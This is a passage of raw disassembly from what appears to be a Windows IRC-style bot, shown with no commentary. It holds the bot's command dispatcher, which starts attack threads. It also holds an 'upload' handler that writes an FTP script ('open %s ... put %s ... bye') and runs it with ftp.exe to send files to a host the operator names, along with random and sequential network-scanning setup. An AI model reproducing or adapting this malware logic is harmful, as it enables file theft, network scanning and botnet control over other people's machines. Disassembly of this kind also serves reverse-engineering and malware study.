; sub_401CC7+505Ej ...
mov eax, [ebp+var_8]
push 7Fh ; Count
push [ebp+Source] ; Source
mov [ebp+var_C64], eax
mov eax, [ebp+var_4]
mov [ebp+var_C68], eax
lea eax, [ebp+var_CFC]
push eax ; Dest
call _strncpy
push edi ; Str
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_C7C], eax
call _atoi
push [ebp+arg_18] ; Str
mov [ebp+var_C78], eax
call _atoi
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C74], eax
jz short loc_40742F
push esi ; Str
call _atoi
pop ecx
mov [ebp+var_C70], eax
jmp short loc_407435
; ---------------------------------------------------------------------------
loc_40742F: ; CODE XREF: sub_401CC7+5757j
mov [ebp+var_C70], ebx
loc_407435: ; CODE XREF: sub_401CC7+5766j
push 7Fh ; Count
lea eax, [ebp+var_D7C]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
mov esi, [ebp+arg_4]
lea eax, [ebp+var_CFC]
mov [ebp+var_D80], esi
push [ebp+var_C74]
push [ebp+var_C78]
push eax
lea eax, [ebp+Dst]
push [ebp+var_C7C]
push offset asc_443330 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 17h ; int
push eax ; Source
call sub_40B756
add esp, 24h
mov [ebp+var_C6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D80]
push ebx
push eax
push offset sub_413E91
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_C6C]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_4074D8
loc_4074C6: ; CODE XREF: sub_401CC7+580Fj
cmp [ebp+var_C60], ebx
jnz short loc_4074F3
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_4074C6
; ---------------------------------------------------------------------------
loc_4074D8: ; CODE XREF: sub_401CC7+57FDj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset asc_443378 ; "-"
loc_4074E4: ; CODE XREF: sub_401CC7+4EB2j
; sub_401CC7+633Fj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_4074F3: ; CODE XREF: sub_401CC7+4E96j
; sub_401CC7+5805j ...
cmp [ebp+var_8], ebx
jnz loc_408637
push ebx
push [ebp+var_4]
loc_407500: ; CODE XREF: sub_401CC7+22CFj
lea eax, [ebp+Dst]
push eax
push [ebp+Format]
push esi
jmp loc_408523
; ---------------------------------------------------------------------------
loc_407513: ; CODE XREF: sub_401CC7+5019j
; sub_401CC7+5030j
push 0Bh
call sub_40B99E
push edi ; Str
mov [ebp+arg_1C], eax
call _atoi
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 1F4h
jle loc_4076CF
push [ebp+arg_1C]
lea eax, [ebp+Dst]
push offset asc_4431C0 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 20h
loc_407563: ; CODE XREF: sub_401CC7+52EEj
; sub_401CC7+56BAj ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_402085
push [ebp+arg_8] ; Str2
push offset aUpload ; "upload"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_409B16
push 4
push esi
call sub_417471
pop ecx
test eax, eax
pop ecx
jnz short loc_40759F
push esi
push offset unk_4436E0
jmp loc_408F7E
; ---------------------------------------------------------------------------
loc_40759F: ; CODE XREF: sub_401CC7+58CBj
call ds:dword_4F537C ; GetTickCount
push eax ; Seed
call _srand
pop ecx
call _rand
push 9
cdq
pop ecx
idiv ecx
push edx
call _rand
push 63h
cdq
pop ecx
idiv ecx
push edx
call _rand
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_51F8]
push edx
push eax
lea eax, [ebp+Filename]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax ; Dest
call _sprintf
lea eax, [ebp+Filename]
push offset Mode ; "ab"
push eax ; Filename
call _fopen
add esp, 20h
cmp eax, ebx
mov [ebp+File], eax
jz loc_402085
push esi
push [ebp+arg_18]
push [ebp+Src]
push edi
push [ebp+Source]
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax ; File
call _fprintf
push [ebp+File] ; File
call _fclose
add esp, 20h
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+var_4CF0]
push offset aSS_2 ; "-s:%s"
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+var_4CF0]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen_0 ; "open"
push ebx
call dword_4E3064
push [ebp+Source]
test eax, eax
push esi ; Format
jz short loc_40766E
push offset unk_443750
jmp short loc_407673
; ---------------------------------------------------------------------------
loc_40766E: ; CODE XREF: sub_401CC7+599Ej
push offset asc_443778 ; "-"
loc_407673: ; CODE XREF: sub_401CC7+59A5j
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40769C
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 14h
loc_40769C: ; CODE XREF: sub_401CC7+59B7j
lea eax, [ebp+Dst]
push eax
call sub_415C3F
loc_4076A8: ; CODE XREF: sub_401CC7+5A06j
lea eax, [ebp+Filename]
push 4
push eax
call sub_417471
add esp, 0Ch
test eax, eax
jz loc_402085
lea eax, [ebp+Filename]
push eax
call sub_41F6D0
jmp short loc_4076A8
; ---------------------------------------------------------------------------
loc_4076CF: ; CODE XREF: sub_401CC7+5866j
push [ebp+Source] ; Str
call _atoi
push edi ; Str
mov [ebp+var_370], eax
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_358], eax
call _atoi
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_407708
push 5
pop eax
mov [ebp+var_36C], eax
loc_407708: ; CODE XREF: sub_401CC7+5A36j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_407715
mov [ebp+var_36C], ecx
loc_407715: ; CODE XREF: sub_401CC7+5A46j
push [ebp+arg_18] ; Str
call _atoi
mov [ebp+var_368], eax
mov eax, 320h
cmp [ebp+var_368], eax
pop ecx
jbe short loc_407737
mov [ebp+var_368], eax
loc_407737: ; CODE XREF: sub_401CC7+5A68j
or [ebp+var_354], 0FFFFFFFFh
cmp dword_448220, ebx
mov [ebp+arg_20], ebx
jz short loc_407786
mov edi, offset dword_448220
loc_40774E: ; CODE XREF: sub_401CC7+5AA1j
push [ebp+Source] ; Str2
lea eax, [edi-28h]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40776C
inc [ebp+arg_20]
add edi, 40h
cmp [edi], ebx
jnz short loc_40774E
jmp short loc_407786
; ---------------------------------------------------------------------------
loc_40776C: ; CODE XREF: sub_401CC7+5A97j
mov eax, [ebp+arg_20]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_448220[ecx]
mov [ebp+var_370], ecx
loc_407786: ; CODE XREF: sub_401CC7+5A80j
; sub_401CC7+5AA3j
cmp [ebp+var_370], ebx
jnz short loc_407798
push offset unk_443200
jmp loc_40717F
; ---------------------------------------------------------------------------
loc_407798: ; CODE XREF: sub_401CC7+5AC5j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+Src], edi
jz short loc_4077D3
cmp byte ptr [edi], 23h
jz short loc_4077D3
push edi ; Format
lea eax, [ebp+var_484]
push 10h ; Count
push eax ; Dest
call __snprintf
push 78h ; Val
push edi ; Str
call _strchr
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_4078AD
; ---------------------------------------------------------------------------
loc_4077D3: ; CODE XREF: sub_401CC7+5ADAj
; sub_401CC7+5ADFj
cmp [ebp+var_8FF], bl
jnz short loc_4077F5
cmp [ebp+var_8FE], bl
jnz short loc_4077F5
cmp [ebp+var_8EE], bl
jnz short loc_4077F5
push offset unk_443234
jmp loc_40717F
; ---------------------------------------------------------------------------
loc_4077F5: ; CODE XREF: sub_401CC7+5B12j
; sub_401CC7+5B1Aj ...
push 10h
lea eax, [ebp+var_2D8]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D8], edi
push [ebp+arg_4]
call dword_4E309C ; getsockname
mov al, [ebp+var_8FF]
push edi ; Args
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4] ; Count
call dword_4E3184 ; inet_ntoa
push eax ; Source
lea eax, [ebp+var_484]
push eax ; Dest
call _strncpy
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_4078A7
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h ; Ch
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax ; Str
call _strrchr
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+File+3], bl
jle short loc_40789B
loc_407879: ; CODE XREF: sub_401CC7+5BD2j
cmp eax, ebx
jz short loc_40789B
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h ; Ch
push eax ; Str
call _strrchr
inc byte ptr [ebp+File+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+File+3]
cmp ecx, edi
jl short loc_407879
loc_40789B: ; CODE XREF: sub_401CC7+5BB0j
; sub_401CC7+5BB4j
mov [ebp+var_344], 1
jmp short loc_4078AD
; ---------------------------------------------------------------------------
loc_4078A7: ; CODE XREF: sub_401CC7+5B8Aj
mov [ebp+var_344], ebx
loc_4078AD: ; CODE XREF: sub_401CC7+5B07j
; sub_401CC7+5BDEj
mov eax, [ebp+arg_4]
push [ebp+Format] ; Format
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi ; Count
push eax ; Dest
call __snprintf
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_4078FE
loc_4078EB: ; CODE XREF: sub_401CC7+5C5Aj
push esi ; Format
loc_4078EC: ; CODE XREF: sub_401CC7+5C44j
lea eax, [ebp+var_3F4]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_407929
; ---------------------------------------------------------------------------
loc_4078FE: ; CODE XREF: sub_401CC7+5C22j
mov eax, [ebp+Src]
cmp eax, ebx
jz short loc_40790D
cmp byte ptr [eax], 23h
jnz short loc_40790D
push eax
jmp short loc_4078EC
; ---------------------------------------------------------------------------
loc_40790D: ; CODE XREF: sub_401CC7+5C3Cj
; sub_401CC7+5C41j
mov esi, offset a2 ; "#2"
push offset byte_4E2FB0 ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4078EB
mov [ebp+var_3F4], bl
loc_407929: ; CODE XREF: sub_401CC7+5C35j
cmp [ebp+var_344], ebx
mov eax, offset aRandom_1 ; "Random"
jnz short loc_40793B
mov eax, offset aSequential_0 ; "Sequential"
loc_40793B: ; CODE XREF: sub_401CC7+5C6Dj
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+Dst]
push offset asc_44327C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Bh ; int
push eax ; Source
call sub_40B756
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset sub_40CB69
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_4079C9
loc_4079B3: ; CODE XREF: sub_401CC7+5D00j
cmp [ebp+var_340], ebx
jnz loc_408506
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_4079B3
; ---------------------------------------------------------------------------
loc_4079C9: ; CODE XREF: sub_401CC7+5CEAj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_4432E4
jmp loc_404BD6
; ---------------------------------------------------------------------------
loc_4079DA: ; CODE XREF: sub_401CC7+4FEBj
; sub_401CC7+5002j
push [ebp+Source]
call sub_40AE55
push edi ; Str
mov [ebp+var_4E0], eax
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_4F0], eax
call _atoi
push [ebp+arg_18] ; Str
mov [ebp+var_4EC], eax
call _atoi
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax ; Dest
call _strncpy
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4E3184 ; inet_ntoa
push eax
lea eax, [ebp+Dst]
push offset asc_443128 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Bh ; int
push eax ; Source
call sub_40B756
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset sub_40CF86
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_407ACF
loc_407AB9: ; CODE XREF: sub_401CC7+5E06j
cmp [ebp+var_4D0], ebx
jnz loc_403F8B
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_407AB9
; ---------------------------------------------------------------------------
loc_407ACF: ; CODE XREF: sub_401CC7+5DF0j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_443178
jmp loc_403F7C
; ---------------------------------------------------------------------------
loc_407AE0: ; CODE XREF: sub_401CC7+4FAEj
; sub_401CC7+4FC5j
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
pop ecx
cmp byte_456030[eax], bl
jz loc_409B16
cmp [ebp+var_C], ebx
jz loc_409B16
push edi ; Str
call _strlen
push [ebp+Source] ; Str
mov esi, eax
call _strlen
push [ebp+arg_8] ; Str
add esi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+Src] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
add esp, 14h
mov esi, eax
lea eax, [ebp+Dst]
push esi
push offset dword_4430FC ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp esi, ebx
jz loc_409B16
push [ebp+Source] ; Str
call _atoi
test eax, eax
pop ecx
jle loc_409B16
push [ebp+Source] ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409B16
push ebx ; int
lea eax, [ebp+Dst]
push ebx ; int
push eax ; int
push edi ; Str
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_456024[eax] ; int
call sub_409D34
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
add esp, 18h
cmp byte ptr dword_455E18[eax], 73h
jnz loc_409B16
push esi
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
pop ecx
add eax, offset byte_456030
push eax
push edi
push offset aSSS ; "[%s] * %s %s"
jmp loc_407CB0
; ---------------------------------------------------------------------------
loc_407BD8: ; CODE XREF: sub_401CC7+4F80j
; sub_401CC7+4F97j
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
pop ecx
cmp byte_456030[eax], bl
jz loc_409B16
cmp [ebp+var_C], ebx
jz loc_409B16
push edi ; Str
call _strlen
push [ebp+Source] ; Str
mov esi, eax
call _strlen
push [ebp+arg_8] ; Str
add esi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+Src] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409B16
push [ebp+Source] ; Str
call _atoi
test eax, eax
pop ecx
jle loc_409B16
push [ebp+Source] ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409B16
push ebx ; int
push ebx ; int
push esi ; int
push edi ; Str
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_456024[eax] ; int
call sub_409D34
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
add esp, 18h
cmp byte ptr dword_455E18[eax], 73h
jnz loc_409B16
push esi
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
pop ecx
add eax, offset byte_456030
push eax
push edi
push offset aSSS_0 ; "[%s] <%s> %s"
loc_407CB0: ; CODE XREF: sub_401CC7+5F0Cj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 28h
jmp loc_409B16
; ---------------------------------------------------------------------------
loc_407CDD: ; CODE XREF: sub_401CC7+4F52j
; sub_401CC7+4F69j
push [ebp+Source]
call dword_4E3138 ; inet_addr
push edi ; Str
mov [ebp+var_680], eax
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_690], eax
call _atoi
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax ; Dest
call _strncpy
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
call dword_4E3184 ; inet_ntoa
push eax
lea eax, [ebp+Dst]
push offset asc_443054 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Bh ; int
push eax ; Source
call sub_40B756
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset sub_40CE95
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_407DBF
loc_407DA9: ; CODE XREF: sub_401CC7+60F6j
cmp [ebp+var_670], ebx
jnz loc_403F8B
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_407DA9
; ---------------------------------------------------------------------------
loc_407DBF: ; CODE XREF: sub_401CC7+60E0j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_443090
jmp loc_403F7C
; ---------------------------------------------------------------------------
loc_407DD0: ; CODE XREF: sub_401CC7+4F24j
; sub_401CC7+4F3Bj
push [ebp+Source] ; Str
call _atoi
mov [ebp+var_112C], eax
push 7Fh ; Count
lea eax, [ebp+var_1230]
push edi ; Source
push eax ; Dest
call _strncpy
push [ebp+Src] ; Str
call _atoi
mov esi, [ebp+arg_4]
add esp, 14h
mov [ebp+var_1130], eax
lea eax, [ebp+var_11B0]
push [ebp+Format] ; Format
mov [ebp+var_1238], esi
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_8]
add esp, 0Ch
mov edi, [ebp+var_4]
mov [ebp+var_111C], eax
push [ebp+var_1130]
lea eax, [ebp+var_1230]
mov [ebp+var_1120], edi
push eax
push [ebp+var_112C]
push esi
call sub_40AF71
pop ecx
push eax
lea eax, [ebp+Dst]
push offset asc_442FC8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 18h ; int
push eax ; Source
call sub_40B756
add esp, 24h
mov [ebp+var_1128], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1238]
push ebx
push eax
push offset sub_410E2B
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_1128]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_407EBC
loc_407EA6: ; CODE XREF: sub_401CC7+61F3j
cmp [ebp+var_1118], ebx
jnz loc_403F8B
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_407EA6
; ---------------------------------------------------------------------------
loc_407EBC: ; CODE XREF: sub_401CC7+61DDj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_443004
jmp loc_403F7C
; ---------------------------------------------------------------------------
loc_407ECD: ; CODE XREF: sub_401CC7+4EF6j
; sub_401CC7+4F0Dj
push 0FFh ; Count
lea eax, [ebp+var_2878]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push 0FFh ; Count
lea eax, [ebp+var_2778]
push edi ; Source
push eax ; Dest
call _strncpy
push [ebp+Src] ; Str
mov [ebp+var_2674], ebx
call _atoi
mov [ebp+var_2670], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407F26
push 10h ; Radix
push ebx ; EndPtr
push eax ; Str
call _strtoul
add esp, 0Ch
mov [ebp+var_2668], eax
jmp short loc_407F2C
; ---------------------------------------------------------------------------
loc_407F26: ; CODE XREF: sub_401CC7+6249j
mov [ebp+var_2668], ebx
loc_407F2C: ; CODE XREF: sub_401CC7+625Dj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407F43
push esi ; Str
call _atoi
pop ecx
mov [ebp+var_266C], eax
jmp short loc_407F49
; ---------------------------------------------------------------------------
loc_407F43: ; CODE XREF: sub_401CC7+626Bj
mov [ebp+var_266C], ebx
loc_407F49: ; CODE XREF: sub_401CC7+627Aj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_2664], eax
lea eax, [ebp+var_28F8]
mov [ebp+var_28FC], esi
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_265C], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_2660], eax
push [ebp+Source]
lea eax, [ebp+Dst]
push offset asc_442F4C ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push 1Dh ; int
push eax ; Source
call sub_40B756
add esp, 1Ch
mov [ebp+var_2678], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_28FC]
push ebx
push eax
push offset sub_416F62
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_2678]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_407FFA
loc_407FE4: ; CODE XREF: sub_401CC7+6331j
cmp [ebp+var_2658], ebx
jnz loc_4074F3
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_407FE4
; ---------------------------------------------------------------------------
loc_407FFA: ; CODE XREF: sub_401CC7+631Bj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_442F78
jmp loc_4074E4
; ---------------------------------------------------------------------------
loc_40800B: ; CODE XREF: sub_401CC7+4EC8j
; sub_401CC7+4EDFj
push 7Fh
lea eax, [ebp+var_3490]
pop esi
push esi ; Count
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3410]
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3390]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3310]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_328C], eax
push [ebp+Src]
mov eax, [ebp+var_8]
mov [ebp+var_3288], eax
lea eax, [ebp+Dst]
push edi
mov [ebp+var_3494], esi
push [ebp+Source]
push offset asc_442EC8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 12h ; int
push eax ; Source
call sub_40B756
add esp, 20h
mov [ebp+var_3290], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3494]
push ebx
push eax
push offset sub_415512
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_3290]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_4080E2
loc_4080CC: ; CODE XREF: sub_401CC7+6419j
cmp [ebp+var_3284], ebx
jnz loc_4074F3
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_4080CC
; ---------------------------------------------------------------------------
loc_4080E2: ; CODE XREF: sub_401CC7+6403j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_442F04
jmp loc_4074E4
; ---------------------------------------------------------------------------
loc_4080F3: ; CODE XREF: sub_401CC7+4D9Bj
; sub_401CC7+4DB2j
push 7Fh
lea eax, [ebp+var_3068]
pop esi
push esi ; Count
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_2FE8]
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_2F68]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_2EE8]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_2E64], eax
push [ebp+Src]
mov eax, [ebp+var_8]
mov [ebp+var_2E60], eax
lea eax, [ebp+Dst]
push edi
mov [ebp+var_306C], esi
push [ebp+Source]
push offset asc_442DD8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Eh ; int
push eax ; Source
call sub_40B756
add esp, 20h
mov [ebp+var_2E68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_306C]
push ebx
push eax
push offset sub_41424D
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_2E68]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_4081CA
loc_4081B4: ; CODE XREF: sub_401CC7+6501j
cmp [ebp+var_2E5C], ebx
jnz loc_4074F3
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_4081B4
; ---------------------------------------------------------------------------
loc_4081CA: ; CODE XREF: sub_401CC7+64EBj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_442E08
jmp loc_4074E4
; ---------------------------------------------------------------------------
loc_4081DB: ; CODE XREF: sub_401CC7+4C72j
; sub_401CC7+4C89j ...
push 7Fh
lea eax, [ebp+var_3CE4]
pop esi
push esi ; Count
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3C64]
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3BE4]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3B64]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
push 20h ; Count
lea eax, [ebp+var_3AE4]
push [ebp+arg_8] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 3Ch
mov esi, [ebp+arg_4]
mov [ebp+var_3A64], eax
push [ebp+Src]
mov eax, [ebp+var_8]
mov [ebp+var_3A60], eax
lea eax, [ebp+Dst]
push edi
mov [ebp+var_3CEC], esi
push [ebp+Source]
push offset asc_442D14 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Dh ; int
push eax ; Source
call sub_40B756
add esp, 20h
mov [ebp+var_3CE8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CEC]
push ebx
push eax
push offset sub_4134D4
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_3CE8]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_4082C3
loc_4082AD: ; CODE XREF: sub_401CC7+65FAj
cmp [ebp+var_3A5C], ebx
jnz loc_4074F3
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_4082AD
; ---------------------------------------------------------------------------
loc_4082C3: ; CODE XREF: sub_401CC7+65E4j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_442D44
jmp loc_4074E4
; ---------------------------------------------------------------------------
loc_4082D4: ; CODE XREF: sub_401CC7+4C44j
; sub_401CC7+4C5Bj
push 7Fh ; Count
lea eax, [ebp+var_1778]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push edi ; Str
call _atoi
push 3Fh ; Count
mov [ebp+var_1628], eax
push [ebp+Src] ; Source
lea eax, [ebp+var_16F8]
push eax ; Dest
call _strncpy
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_40831F
push 3Fh ; Count
lea eax, [ebp+var_16B8]
push esi ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_40831F: ; CODE XREF: sub_401CC7+6644j
lea eax, [ebp+var_16F8]
mov [ebp+var_1624], 1
push eax
lea eax, [ebp+var_1778]
push [ebp+var_1628]
push eax
lea eax, [ebp+Dst]
push offset asc_442C84 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Fh ; int
push eax ; Source
call sub_40B756
add esp, 20h
mov [ebp+var_1620], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_177C]
push ebx
push eax
push offset sub_4019E7
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_1620]
imul ecx, 234h
cmp eax, ebx
